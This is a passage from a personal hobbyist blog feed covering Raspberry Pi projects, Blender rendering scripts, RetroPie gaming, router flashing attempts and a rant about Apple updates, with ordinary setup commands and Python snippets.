Why has Apple not dealing with this? Easy, they can sell overpriced Thunderbolt displays that do work. Forget all those users with spare HDMI and DisplayPort monitors. In that [url title="thread"]https://support.displaylink.com/forums/287786-displaylink-feature-suggestions/suggestions/33252664-macos-high-sierra-10-13-4[/url] are companies with hundreds of Macs all with unusable displays!

Oh, and the other thing is you can just [em]not upgrade[/em] to 10.13.4 or rollback, ignoring the risks and the fact that Apple installed it WITHOUT WARNING!

When PCs rebooted without warning, to install Windows 10 [url title="Slashdot article"]https://news.slashdot.org/story/16/03/12/1634229/windows-10-upgrade-reportedly-starting-automatically-on-windows-7-pcs[/url] the user base went mad. Apple support forum responded with "It's your fault for not setting the update settings". Except the update settings say nothing of reboots/restarts.

Back when iPhone 6 first released I spoke with an owner and while we chatted it rebooted without warning. The brushed off the issue with "it keeps doing that". Speech-less

Apple are not just bad, they are beyond evil. The list of failures just goes on and on and on and yet people keep buying their overpriced and heavily restricted rubbish.

Did you see the current news about a single piece of dust being able to render their most expensive new and shiny keyboards not just useless but unfixable?

on and on and on on on.
</description>
</item>
<item>
<title>would it help if i got out and pushed</title>
<pubDate>Sat, 12 May 2018 11:11:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2018.html#p120520181111</link>
<description>
erm, my machine is a little slow. How slow? After 4 days I am on frame 125 of a 256 frame animation :(

What is more worrying is this animation is supposed to be the simplest of six and once I have that anim in the bag there is another image I wanted to create to complete the raw footage.

The reason these frames are taking so long is that I need a lot of details, which means a lot samples. I thought the modelling of the Pi was time consuming, but I have spent sometime just trying to get the timing right a quite basic animation.

I probably should update the [url title="Raspberry Pi Hires Project page"]raspberrypihiresproject.html[/url] ...
</description>
</item>
<item>
<title>did super metroid defeat me or i it</title>
<pubDate>Sun, 29 Apr 2018 16:50:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2018.html#p290420181650</link>
<description>
It is done. I have completed Super Metroid. Finally.

Completion screen reported 91% in 11hrs 49mins, which feels a bit short for the time I put into it and misses out the 4-5hrs I lost by deleting my save.

I did cheat. By Googling hints for certain bits and watching a occasional YouTube video. But the vast majority of items I did find by myself and for at least a few of the bosses, I discovered the weak spots.

There are things in Super Metroid that are not straight forward or intuitive. For instance, after defeating the end game boss there is a timed escape through a completely new and unexplored level. It is literally designed to defeat you.

By the time I got to the end of game I had had enough and was more than happy to take a little advise. Even then, I managed to die in the final fight multiple times and I had all the energy tanks and most of the reserve tanks. Where the YouTube guides had a just 4-5 tanks and not all the items I had.

Talking of cheating, I made heavy use of the RetroPie save state to redo tricky jumps. The evil giant Xbox controller made a lot of the Wall, Space and Spark jumps much harder than they needed to be.

Bottom line, very good game, recommended, but I never want to see it again ;)
</description>
</item>
<item>
<title>long xbox causes raspberry to metroid it up</title>
<pubDate>Sat, 21 Apr 2018 20:31:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2018.html#p210420182031</link>
<description>
TL;DR I am lazy and have a long Xbox cable

I was not going to post this until I had some more to show for the <a href="/raspberrypihiresproject.html">Pi model</a> "conveyor belt" animation, but if I did that we might be here till next year.

Someone (who shall remain spoons) reminded me a while back that I really wanted to get a Raspberry Pi setup with [url title="RetroPie"]https://retropie.org.uk/[/url] to play old games. So I got a new Raspberry Pi 3 B+ ([url title="not the old and busted Pi 3 B"]https://www.youtube.com/watch?v=sY4MHY4vMl0[/url]) and set up  [url title="RetroPie"]https://retropie.org.uk/[/url].

the one thing [url title="RetroPie"]https://retropie.org.uk/[/url] really requires is compatible controller with at least the number of buttons as the game system that you want to play.

Back in the 2001 (pre [url title="flog"]/flog/flog.html[/url]) I used my redundancy money to buy an Xbox. Then in [url title="2004"]http://www.jumpstation.co.uk/flog/Apr2004.html[/url] I got my hands on [url title="Steel Battalion: Line of Contact"]https://en.wikipedia.org/wiki/Steel_Battalion:_Line_of_Contact[/url] the successor to [url title="Steel Battalion"]https://en.wikipedia.org/wiki/Steel_Battalion[/url]. Which was famous for the HUGE custom controller.

It is difficult to explain just how big this controller is(mine is packed away at the mo). It comes with three main pieces and foot pedals. The supplied desk clamp is required to keep it all in one place. I could go on and on about this game but instead...

A long ... time ago I saw a Xbox-&gt;USB adaptor and I thought, if only I could get that massive controller working on my Linux machine ... then forgot about it for even longer.

Someone got the controller working for StarCitizen [url title="Steel Battalion Controller Trial 1"]https://youtu.be/d6_OCXlQprs?t=10m2s[/url] and other have it working for other games.

But, somewhere in between 2008-2011 I disassembled my Xbox, not sure why. Then I cleared up and forgot about it. Inserted a game disk and grrr* *CRUNCH*. You see, I had forgot to screw everything back and all the loose components just ate each other up and the Lego Star Wars disk I was trying to load.

the only things to survive was the controllers. Ah, finally getting to the relevant bit.

Used the Xbox-&gt;USB adaptor with the original super sized(perfect for my big hands) Xbox controller and [url title="RetroPie"]https://retropie.org.uk/[/url] configured it without issue and works great with all the games I have tried so far.
<img src="images/xboxcontrollerretropi.jpg" alt="old Xbox controller connected to raspberry pi in a faux NES case">

You see all that cabling? That is 4.2 meters long! The Xbox original cabling was 2.8 and the adaptor(which is just a cable) adds another 1.2m !

I found Super Metroid and have been using every spare minute to complete it. But then I hit the wrong button and overwrote my save, so I have to start all over again! Yes, it really is that good that I am going to play it from scratch all over again.
</description>
</item>
<item>
<title>failed to stop ruins my front end</title>
<pubDate>Sat, 21 Apr 2018 19:44:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2018.html#p210420181944</link>
<description>
Some idiot hit my car at speed as I was leaving a round-about and then sped off!

<img src="images/carsmash2018.jpg" alt="photo of my car with scrapes">

I was pretty lucky. Another inch and they would have shredded the front of my car, another foot and I would have been spun into traffic and the car would be a write-off.

The damage in that photo looks pretty tame, but there are all sorts of minor dents that have caused panels to "pop". Not to mention a large crack in the head light.

As the other car drove off at speed (I reckon they were travelling at 40mph when they collided) I saw nothing except it was a black, old style BMW, no number plate.
</description>
</item>
<item>
<title>blueprint preview for raspberry 3 model b</title>
<pubDate>Mon, 09 Apr 2018 23:21:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2018.html#p090420182321</link>
<description>
Spent even more time cleaning [url title="my Pi model"]/raspberrypihiresproject.html[/url]. Naming, tweaking and replacing bits the replacing all the lamps with emitters.

Then played with building the Blueprint requirements with Freestyle and compositing in GIMP.

<img src="images/raspberrypi_bitmap_preview.jpg" alt="blueprints for raspberry pi 3 model b rendered in blender">
</description>
</item>
<item>
<title>bow to the pibow zero w colour coded failure</title>
<pubDate>Tue, 03 Apr 2018 21:52:56 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2018.html#p030420182152</link>
<description>
While I was waiting for all the bits in my [url title="spoof Raspberry Pi video"]Mar2018.html#p300320182013[/url] to render, I had a look at another of my Christmas presents, the [url title="PiBow Zero"]https://shop.pimoroni.com/products/pibow-zero-ver-1-3[/url] or is it the [url title="PiBow Zero W"]https://shop.pimoroni.com/products/pibow-zero-w[/url].

It never occurred to me that the cases might be different for the Pi Zero vs the Pi Zero W. They look and feel identical!

But not quite. Here is the Pibow Zero W case trying to hold a standard v1.3 Pi Zero

<img src="images/pibowzero_nofit_diag.jpg" alt="pibow zero W case failing to house a Pi 1.3 ">

It does not fit and that was after Googling the placement of each panel, the shim goes [em]under[/em] the Pi.

When you insert a Pi Zero W it fits nicely.
<img src="images/pibowzero_fit_side.jpg" alt="pibow zero W case side fitting">

but there is clear and confusing gap with the non Wifi, Pi Zero v1.3
<img src="images/pibowzero_nofit_side.jpg" alt="pibow zero W case side not fitting a pi v1.3">

The issue only becomes clear from the top.

Fitting neatly, Pi Zero W
<img src="images/pibowzero_fit_top.jpg" alt="pibow zero W case top fitting a pi zero W">

There is the problem, one component is rotated at 90 degrees, right where the case contour goes.
<img src="images/pibowzero_nofit_top.jpg" alt="pibow zero W case to not fitting a pi zero v1.3">

Looking at the two Pis it is easy to miss.
<img src="images/pibowzero_comp_top_arrow.jpg" alt="pi zero v1.3 next to a pi zero W, top view with arrows">

But the bottoms are clearly different, though that does not affect case fitting or not.
<img src="images/pibowzero_comp_bottom.jpg" alt="pi zero v1.3 next to a pi zero W, bottom view">

To be fair, the Pimoroni pages do make it clear which case fits which Pi and they are colour coded.
[url title="PiBow Zero"]https://shop.pimoroni.com/products/pibow-zero-ver-1-3[/url]
[url title="PiBow Zero W"]https://shop.pimoroni.com/products/pibow-zero-w[/url]

Which would have been fine if I had been the one doing the shopping.
</description>
</item>
<item>
<title>spoof pi video sequence breakdown</title>
<pubDate>Fri, 30 Mar 2018 20:39:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p300320182039</link>
<description>
My slightly delayed Raspberry Pi Model b(not+)  [url title="spoof video is now live"]Mar2018.html#p300320182013[/url]

All the video work was done in Blender. From the initial renders of the different components to all the wipes and text animation.

The component shots highlighted some modelling issues. Mostly from grouping all the separate parts together and the tendency to inherit each others settings.

But I also had to re-shoot most scenes after finding something wrong. From the focus point to the speed/timing. Each short render took hours at 1920x1080, I need an upgrade.
 
<img src="images/video-sequencer.png" alt="screenshot of blender VSE showing sequence layout for raspberry pi spoof video">

In the partial screen shot from Blender VSE (Video Sequence Editor) you can see a number of things.

The pink squares are the [em]Cross Fades[/em], in and out. Each has a corresponding [em]Black colour[/em] for the fade to aim from/to.

The blue squares are the pre-rendered videos of Raspberry Pi components loaded into the sequencer.

The stack of yellowed blocks topped with two white blocks are how I did the text appearing and disappearing above the spinning Pi. All the text blocks are defined and positioned at the top of the screen but one of those [em]White colour[/em] blocks is masking that from view. The second is placed directly above the Pi and is where the text is animated to.

To get the [em]White colour[/em] blocks the right size and location you have to set the [em]Strip Input[/em] [em]Image Offset[/em] and [em]Image Crop[/em]. Then the Y location of the [em]Text blocks[/em] can be animated with key frames by hovering over the Y input field and pressing [em]I[/em]. Animating from the top mask into the space between the two masks and then to the bottom mask and out of sight.

I tried to animate the scale of the white title text on the pinky background but the results were very choppy. In the end I created a new [em]Scene[/em] in Blender and brought the resulting animation in to the two [em]Meta strips[/em]. There was a 3rd [em]Scene[/em] created for the credits and is the last green block in the VSE screenshot.

Finally, when publishing I tried something I have never tried before with YouTube, I enabled comments on the video. Perhaps not too surprisingly, a comment was added to the video in just a few minutes asking if I wanted to be friends. I think not.
</description>
</item>
<item>
<title>old blender video spoof</title>
<pubDate>Fri, 30 Mar 2018 20:13:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p300320182013</link>
<description>
It is finally done, or as "done" as it will ever be.

Raspberry Pi model 3 b(not +) spoof launch video
<iframe width="560" height="315" src="https://www.youtube.com/embed/sY4MHY4vMl0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

Raspberry Pi model 3 b+ official launch video
<iframe width="560" height="315" src="https://www.youtube.com/embed/i62xdD4QKtA" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>

I originally wanted to add a silly sound track but this is all taking waaayy too long.

In the next post I will go into some of the details of using Blender to create the video
</description>
</item>
<item>
<title>the slow glass man</title>
<pubDate>Mon, 26 Mar 2018 16:07:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p260320181607</link>
<description>
Got [url title="the laptop"]Mar2018.html#p240320182241[/url] running Blender under Ubuntu 16.04.4 but it has only 2GB RAM and is very slow.

5hrs to create this at 1920x1080

<img src="images/glass2_colour_corrected.jpg" alt="Blender render of a glass figure on a hexagon base">

It is just a few blocks and circle set to 6 sides with and Array modifier. To be fair I have increased the samples to 800 and the Glossy and Transmission counts to 12.

If my main computer ever finishes rendering all the main Raspberry Pi animations I want then I will try the same .blend file and see how long it takes.

Rather annoyingly, I keep finding issues with the Raspberry Pi model now it is a in a single group. From smoothing inconsistencies to bizarre component offsets. Might be an easy fix, apply Location/Rotation/Scale
</description>
</item>
<item>
<title>HP Pavilion dv9000 treated to a new ubuntu life via dd</title>
<pubDate>Sun, 25 Mar 2018 16:23:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p250320181623</link>
<description>
The Windows laptop I was using for the [url title="TL-WR841N v12"]Mar2018.html#p240320182241[/url] is not a pretty sight. There are keys missing, cracked hinge(risky to open and close), not to mention the Vista install.

The owner had declared it ewaste so I thought I would Linux-ise it and see if it was worth keeping around.

It is only 32bit (how old!) so I had to do some digging to find a Linux ISO. The [url title="Ubuntu (alternate) downloads page"]https://www.ubuntu.com/download/alternative-downloads[/url] required a lot of scrolling to find.
[url title="Ubuntu 16.04.4 LTS (Xenial Xerus)"]http://releases.ubuntu.com/16.04.4/[/url] which is from April 2016 but still supported and this version is dates Feb 2018.

Downloaded the ISO and ran it through unetbootin, which I have used in the past without issue. But the HP Pavilion dv9000 kept reporting
<code class="output">isolinux.bin is missing or corrupt</code>

and fails to boot.

I tried repartitioning the USB drive a few times with different partition types, to no avail.

Then I happened upon [url title="Gentoo live USB guide"]https://wiki.gentoo.org/wiki/LiveUSB#Write_the_ISO_image_to_a_USB_drive[/url] that had the instructions to use 
<code>dd if=/home/user/src/ubuntu-16.04.4-desktop-i386.iso of=/dev/sdd bs=4M</code>
where [em]/dev/sdd[/em] is your USB drive, always double check this value before continuing, as it is often different in different machines.

That finished and after some odd errors that I did not quite have time to read it booted !
</description>
</item>
<item>
<title>FCC and TP Link conspire to create ewaste TL-WR841N v12</title>
<pubDate>Sat, 24 Mar 2018 22:41:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p240320182241</link>
<description>
When I convinced work to upgrade to a Ubiquiti Wi-Fi access point, it obsoleted the (very cheap) TP-LINK Wi-Fi router they had been using.

I kept this and decided it would be smart to flash it to DD-WRT with some known settings for emergency use. To be fair, I stole this idea off another company that, when our company first experienced Wi-Fi issues, lent us a flashed router setup for testing.
The TL-WR841N(D) v12 worked fine for two/three clients but when a forth and fifth were added, became more and more unstable.

This [url title="video"]https://www.youtube.com/watch?v=LHNlTb5o82s[/url] was great start to get to v8 but the "Other downloads" link to get a newer version resulted in no results :(

[url title="DD-WRT router database search"]https://www.dd-wrt.com/site/support/router-database[/url]

But on the [url title="Supported Devices wiki"]https://www.dd-wrt.com/wiki/index.php/Supported_Devices#TP-Link[/url] I found reference to 
<code class="output">tl-wr841ndv12
build 31825
20170406 
for version 12
</code>

This lead to back to [url title="Other downloads"]https://www.dd-wrt.com/site/support/other-downloads[/url]
<code class="output">Downloads › betas › 2017 › 04-06-2017-r31825 › tplink_tl-wr841ndv12</code>
[url]https://www.dd-wrt.com/site/support/other-downloads?path=betas%2F2017%2F04-06-2017-r31825%2Ftplink_tl-wr841ndv12%2F[/url]

which is just a round about way of getting to the files

[url title="This page mirrored most of the video's instructions"]https://greggborodaty.com/installing-dd-wrt-tp-link-tl-wr841n/[/url]

So I download the two files 
<code class="output">factory-to-ddwrt.bin
tl-wr841nd-webflash.bin
</code>

avoiding the ones with "US" in the file name.

Then I booted up a Windows Vista laptop I had been given a couple of weeks ago and copied the files across.

Then I plugged a LAN cable in to Port 1 on the TL-WR841N and powered it up. Once it was up I plugged the other end into the laptop.

Drat! Issue. The router was NOT previously set up as DHCP so the laptop is not being given and IP address.

I think I have the access details including the last IP address in a note somewhere ...

OK, configured network, Firefox and in. 
System Tools - Firmware - add file and...
<code class="output">
ERROR 18005
Upgrade unsuccessful because the version the version of the upgraded file was incorrect. Please check file name
</code>
Double drat!

Error 18005 = locked firmware 

[url title="TP Link lock down firmware as part of FCC requirements"]https://www.cnx-software.com/2016/02/21/tp-link-wifi-router-firmware-locked-down-due-to-new-fcc-rules/[/url]

Using TFTP *might* have worked but there was enough confusion on the forums that I will consider this router e-waste.

what a waste!
</description>
</item>
<item>
<title>pi plus update video for pi plus plus update</title>
<pubDate>Fri, 23 Mar 2018 21:34:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p230320182134</link>
<description>
Stuff has been happening. I wanted to have something finished to share but that is not going to happen anytime soon so I am blogging this update.

The [url title="HiRes Raspberry Pi project"]/raspberrypihiresproject.html[/url] is still my main focus, but ...

The Raspberry Pi Foundation have released a new [url title="Raspberry Pi 3 Model B+"]https://www.raspberrypi.org/blog/raspberry-pi-3-model-bplus-sale-now-35/[/url]

and they have a cool [url title="launch video"]https://youtu.be/i62xdD4QKtA[/url] which I took a shine to.

I did imagine recreating the video with my Blender rendered old Raspberry Pi 3 Model B that night. After all how hard could it be?

Turns out quite hard or, more to the point, time consuming.

This still is from the turning sequence that lasts for just 10 seconds. At 1920x1080 that took 30+ hours to render.
<img src="images/rpi_v110_upended_small.jpg" alt="Raspberry Pi 3 Model B 3D model upended rendered in Blender">

Close ups for the individual components with a high Depth Of Field are taking hours and hours to do just a few seconds :(

But I did get to test the Blender VSE effects and know how to create the text animations.

Just before that announcement, I had spent a few hours just going through the model tidying up bits. To my horror I found I had missed off two solder pads from the board texture and one whole component!

This was after I played with Freestyle in Blender to get a nice comic line rendering which revealed some odd geometry problems. This image was edited to remove them.

<img src="images/pi3_99_flat_render_with_freestyle_fixed.jpg" alt="Raspberry Pi 3 Model B 3D model rendered in Blender with a comic style">

The Ethernet and two USB ports both had strange lines down the middle. The lines were where the Mirror modifier had be set. Applying the modifier did not fix the problem.

When using non Freestyle rendering, even really close up there was no issue. In the end I found the Mirror modifier was not doing a good job of Merging and Clipping. By setting the Merge limit to 0.1005 the problem was solved.

I also spent time during the clean up to try and name all the components.

Current plan:

Finish recreating the Pi 3 B+ video
(not sure what to do with it when done, the moment has passed)
Create a cool Blueprint, did investigations on options weeks ago, test looked really cool.
Add all my existing videos together and the cool stills
Create a Dali melting Pi image (animation?)
Create a conveyor belt animation adding components to the Pi
Create a animation of multiple Pis falling into a pile.

Those last three were always in the plan and had been envisioned before most of the model was complete.
</description>
</item>
<item>
<title>pi cluster super computer woh ha ha</title>
<pubDate>Sat, 03 Mar 2018 13:20:38 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p030320181320</link>
<description>
I always find Christmas challenging when asked what I want. I do keep my Amazon wish list topped up with 200+ items, which is great for little things. But for special items I am not very good.

This/last year I did a bit of research and settled on the [url title="Raspberry Pi Cluster Hat v2 inclusive"]https://www.modmypi.com/raspberry-pi/iousbanalogue-expansion-1028/interfacing-1080/cluster-hat-kit-inc.-4-x-raspberry-pi-zero[/url]. Great it comes with 4x Raspberry Pi Zeros! Not so great [em]Out Of Stock[/em] :(

But you could buy the [url title="Raspberry Pi Cluster Hat v2 board"]https://www.modmypi.com/raspberry-pi/iousbanalogue-expansion-1028/interfacing-1080/cluster-hat[/url] on its own. OK, "add to basket" then add the Pi Zeros and the SD cards and "Order rejected"?!?

Turns out Pi Zeros are [em]Still[/em] restricted to one per customer, grrr.

So I ordered one from [url title="pimoroni.com"]https://shop.pimoroni.com/products/raspberry-pi-zero[/url], one from [url title="thepihut.com"]https://thepihut.com/collections/raspberry-pi-zero/products/raspberry-pi-zero-w[/url] and a kit from [url title="ModMyPi.com"]https://www.modmypi.com/raspberry-pi/raspberry-pi-zero-board-379/rpi-zero-board/pi-zero-w-starter-kit/?search=MMP-1042[/url] an another from [url title="ModMyPi.com"]https://www.modmypi.com/raspberry-pi/raspberry-pi-zero-board-379/rpi-zero-board/raspberry-pi-zero/?search=ZEROKIT-A[/url].

All came in plenty of time for Christmas and the Christmas came and went and I examined all the pieces but never got around to putting it together.

Until a week before my [url title="super illness"]Feb2018.html#p280220182216[/url] when I watched all the [url title="Videos"]https://www.youtube.com/watch?v=RqcHj1DgAMM&list=PLEJhTw1V9NV9QvP_jvpPaxgP8zRApsvYO[/url] and actually built the thing. I even burnt all the SD Cards, but then got ill and forgot about it.

Now I am Back Baby!

<img src="images/clusterhat-board.jpg" alt="Cluster Hat V2 assembled">
<img src="images/clusterhat-sdcards.jpg" alt="Cluster Hat V2 assembled showing the 5 SD cards connected">

Before I go any further the video is for the V1 and the USB power port has moved now in the V2.

Although there is this video [url title="using no SD cards for the Pi Zeros"]https://www.youtube.com/watch?v=sm1WUY5XgrQ[/url] I wanted to first get the basic setup working. I had bought all those SD cards, after all.

Had to download the [url title="Master image"]https://clusterhat.com/setup-software[/url] and the [url title="Slave image"]https://clusterhat.com/setup-software[/url]. I could have downloaded one image per Pi, ending up with 5 image files, but instead I opted to manually modify the slave images.

Once the slave image was written to each SD card I had to mount it and update the [em]cmdline.txt[/em], just tweaking Pi Zero identifier. 

<code>" quiet init=/sbin/reconfig-clusterhat p1"</code>
changing the p1 to p2, p3 ,p4 one for each Pi Zero.

Also enabled [em]ssh[/em] for each card
<code>touch ssh</code>

Both those changes are on the vfat boot partition so you could make the change on almost any computer.

The Pi Zeros are powered by the Cluster Hat and the Cluster Hat is powered by the Raspberry Pi 3, that in turn, it powered by an official Raspberry Pi Foundation power supply.

Plugged in a USB keyboard and HDMI monitor and booted up ...

There are no instructions but I noticed the commands used in the videos

<code>clusterhat on p1</code>
the first Pi on the Cluster Hat powered up, then I did the same with the 3 other Pis (you can just run 
<code>clusterhat on</code>
to get them all to turn in one go)

now what? Strangely I cannot find any documentation on what to do next, but there was something in the videos about networking.

[em]ifconfig[/em] only shows ipv6 addresses and I know nothing about ipv6. Tried to ping the ipv6 address and ping did not like it. But I know ping does support ipv6 as it has options for it so I am doing something wrong :(

Found a note on one of the videos that DHCP might be required. plugged in ethernet and rebooted.

Cool now can I ping(when up) p1.local, p2.local etc
the resolved ip addresses are directly from my local sub-net DHCP.

but I want to do this off the grid, so I try again with no network, reboot, ping works(p1.local, p2.local etc) and get
169.254. addresses
that look random
<code class="output">169.254.102.163
169.254.116.199
169.254.114.226
169.254.156.34</code>

If I take down the Pis with [em]clusterhat off[/em] then on again, they have the same ip addresses. reboot whole Cluster Hat and still get the same weird ip addresses.
OK that's networking down, though I have never come across this [em].local[/em] stuff before ...

Next step, make all the machines accept key less ssh connections.
<code>ssh-keygen</code>
Ran directly on the Master Pi (no parameters)

<code>ssh-copy-id pi@p1.local
enter password:<code>

now I can 
<code>ssh pi@p1.local</code>
and get no password prompt

repeat for p2,p3,p4

FYI I wanted a short password and the [em]passwd[/em] command was giving me lip about lack of complexity and length, fix was
<code>sudo passwd</code>
also did not ask for current password.

now what ???

It is a mini self contained Pi network. Need to think on this.
</description>
</item>
<item>
<title>I can have it made in solid gold</title>
<pubDate>Thu, 01 Mar 2018 18:55:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2018.html#p010320181855</link>
<description>
It is worth pointing out that [url title="yesterdays 3D print"]Feb2018.html#p280220182254[/url] from [url]https://www.shapeways.com[/url] was only available in [em]Black HP Nylon Plastic[/em] and was about 3x the price of the cheapest plastics. 

Now I have been back and and adjusted the size, just about all the hundreds of other materials are available including solid Gold. But really, the cheapo plastic option that is now selectable is about the same price.

I might have another go ...

I have wanted to try  for many years, so I created this construction hard hat. The idea being, it would only take a few minutes to construct, because it is such a simple shape.

</description>
</item>
<item>
<title>huge 3d printing tiny hat error</title>
<pubDate>Wed, 28 Feb 2018 22:54:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2018.html#p280220182254</link>
<description>
So, I got distracted by Blender again...

I have wanted to try [url]https://www.shapeways.com[/url] for many years, so I created this construction hard hat. The idea being, it would only take a few minutes to construct, because it is such a simple shape.

Two hours later and 12 revisions and I had something that was halfway reasonable.
<img src="images/construction_helmet012x3.jpg" alt="Construction hard hat represented from different angles in Blender">

Notice how the hat length is 2 and a bit Blender units long.

Sent it off to [url]https://www.shapeways.com[/url] and in less than four days and for &euro;11 a package was delivered.

Only I got the scale a little wrong. I thought I selected each unit as one inch but turns out I got 1 Blender unit = 1cm.

<img src="images/tinyhat_measure_crop.jpg" alt="Photo of a tiny 3d printed hard hat next to a ruler" >

So it's a little on the small side. Slightly too big to be any use to Lego people and not big enough to have as a desk toy. The quality is pretty darn good. It feels perfectly smooth and all the details are there.

And yes going back and checking my order, it does say "cm", but I could have sworn I set it to inches.

I tried creating a new order and setting it to "inches" which it promptly converted back to "cm" and the price tripled. Will not be reordering from there.

There is a UK based company that I may try [url]http://uk-3d.com[/url] as they specifically have a nice yellow plastic a good workflow.
</description>
</item>
<item>
<title>salmonella ate my weaks</title>
<pubDate>Wed, 28 Feb 2018 22:16:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2018.html#p280220182216</link>
<description>
OK, missed a few weeks of life there due to a salmonella type bug. Not pretty.

but the [url title="Raspberry Pi videos"]/raspberrypihiresproject.html[/url] were done. Still need to composite them but the [url title="Python scripts"]Feb2018.html#p070220182132[/url] worked as planned.

Got a ton of catching up to do...
</description>
</item>
<item>
<title>oh dear what can the frame be</title>
<pubDate>Wed, 07 Feb 2018 21:32:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2018.html#p070220182132</link>
<description>
It was all going so well. The [url title="four python scripts"]Jan2018.html#p310120182138[/url] for automating Blender rendering were working. 

I rendered a full screen animation in just under three days. But the result was too noisy. I updated my new render_finally.py to include [em]clamp[/em] values and had started another 3 day render.

Turning my attention to the fact that I wanted the animations to be staggered e.g. first 2 seconds from the first video then the next 2 seconds from the next. Staggered so that to the viewer the model just kept turning.

made github repository for the script [url title="video-sequence-splicer"]https://github.com/robgithub/video-sequence-splicer[/url]

This went really well right up to the testing of the finished videos, you see there was a glitch. The animation would revert a few degrees and then start turning again. 

I found the last video was slow than what I remembered from viewing the first few. Sure enough the animation was "delayed" and further investigation should I had inadvertently set the [em]frame[/em] to 11 in all the Blender files from 52 onward. What was worse was, that all of those had the window layout set to hide the time line so I might have never seen it.

The fix is easy but painful. I updated the track.py script to include a "set frame to 0" before doing anything.
<code>bpy.context.scene.frame_current = 0</code>

Now I have to go back and re-render 80 videos. At least my script will make it painless from a interaction point of view.
</description>
</item>
<item>
<title>when auto blending 3 becomes 4 on github</title>
<pubDate>Wed, 31 Jan 2018 21:38:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p310120182138</link>
<description>
So, how are the [url title="three python scripts"]Jan2018.html#p210120182245[/url] for automating Blender rendering going?

Well for a start there are now four. The forth is just a list of settings to get the render working without the standard command line options, as they are bit limited.

<code># Blender render settings
# FYI : only uses default "Scene"
import bpy

FILEFORMAT='FFMPEG' # 'PNG'
#bpy.data.scenes[my_scene_name_here].file_format = 'H264'
#bpy.data.scenes[my_scene_name_here].format = 'H264'
#bpy.data.scenes[my_scene_name_here].use_lossless_output = True
OUTPUTFILENAME='/home/rednuht/temp/'

bpy.context.scene.render.resolution_x = 1920
bpy.context.scene.render.resolution_y = 1080
bpy.context.scene.render.resolution_percentage = 25
bpy.context.scene.frame_start = 1
bpy.context.scene.frame_end = 360
bpy.context.scene.frame_step = 1
bpy.context.scene.render.pixel_aspect_x = 1
bpy.context.scene.render.pixel_aspect_y = 1
bpy.context.scene.render.use_file_extension = True
bpy.context.scene.render.image_settings.color_mode ='RGB'
bpy.context.scene.render.image_settings.file_format=FILEFORMAT 
bpy.context.scene.render.image_settings.compression = 90
#bpy.context.scene.render.use_stamp = 1
#bpy.context.scene.render.stamp_background = (0,0,0,1)

bpy.context.scene.render.use_antialiasing = True
##sampling;=path tracing 
bpy.context.scene.cycles.progressive = 'PATH'
bpy.context.scene.cycles.samples = 50
bpy.context.scene.cycles.max_bounces = 1
bpy.context.scene.cycles.min_bounces = 1
bpy.context.scene.cycles.glossy_bounces = 1
bpy.context.scene.cycles.transmission_bounces = 1
bpy.context.scene.cycles.volume_bounces = 1
bpy.context.scene.cycles.transparent_max_bounces = 1
bpy.context.scene.cycles.transparent_min_bounces = 1
bpy.context.scene.cycles.use_progressive_refine = True

#Render results
#bpy.ops.render.render(write_still=True)
bpy.ops.render.render(animation=True)
</code>

And the main "track.py" script failed at the first hurdle. When opening the initial .blend file to create an orbit animation it choked on "context". The .blend file had been saved in [em]Edit[/em] mode and most of my commands needed [em]Object[/em] mode.

the fix is to force it to [em]Object[/em] mode.
<code>bpy.context.scene.layers[0] = True
bpy.ops.object.mode_set(mode='OBJECT')
</code>

As these scripts seem to be evolving a bit more than I expected I have created a github repo [url]https://github.com/robgithub/camera-track-endevour[/url]

Current running operation is
<code>cameras=(Camera.top Camera.bottom)
materials=(LL_WireTrans LL_WireHold LL_Clay LL_Glass)
SOURCE=/home/rednuht/projects/blender/Raspberry\ Pi\ 3\ Model\ B\ HiRes/circuitboard22.blend
NAME=C022
LAYERS=0
for cam in ${cameras[@]}; do
  for mat in ${materials[@]}; do
   ./blender --background "$SOURCE" --python ~/projects/blender/camera\ track\ endevour/track.py --python ~/projects/blender/camera\ track\ endevour/materials.py --python ~/projects/blender/camera\ track\ endevour/setup.py -noaudio --python ~/projects/blender/camera\ track\ endevour/render.py --  -c "$cam" -m "$mat" -n "$NAME" -l "$LAYERS"
  done
  ./blender --background "$SOURCE" --python ~/projects/blender/camera\ track\ endevour/track.py --python ~/projects/blender/camera\ track\ endevour/materials.py --python ~/projects/blender/camera\ track\ endevour/setup.py -noaudio --python ~/projects/blender/camera\ track\ endevour/render.py --  -c "$cam" -n "$NAME" -l "$LAYERS"
done
</code>

Which sets up some variables, loops through the cameras and loops through the materials plus one last render without any materials for each camera, i.e. the actual materials.
This leaves me with ten animations of 15 seconds, 360 frames per blend. But, as some of the .blends are not that interesting I am only up to 101 animations, still working on the blend 22 set.
</description>
</item>
<item>
<title>i claim no part in writting big bad blender code</title>
<pubDate>Sat, 27 Jan 2018 17:16:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2018.html#p270120181716</link>
<description>
Time to see the most "Blendy" of the [url title="three python scripts"]Jan2018.html#p210120182245[/url] for automating Blender rendering.

<code>
import bpy, math

print("Camera tracking script starting")
TARGET="Empty.target"
TRACK="Curve.camera.track"
CAMERATOP="Camera.top"
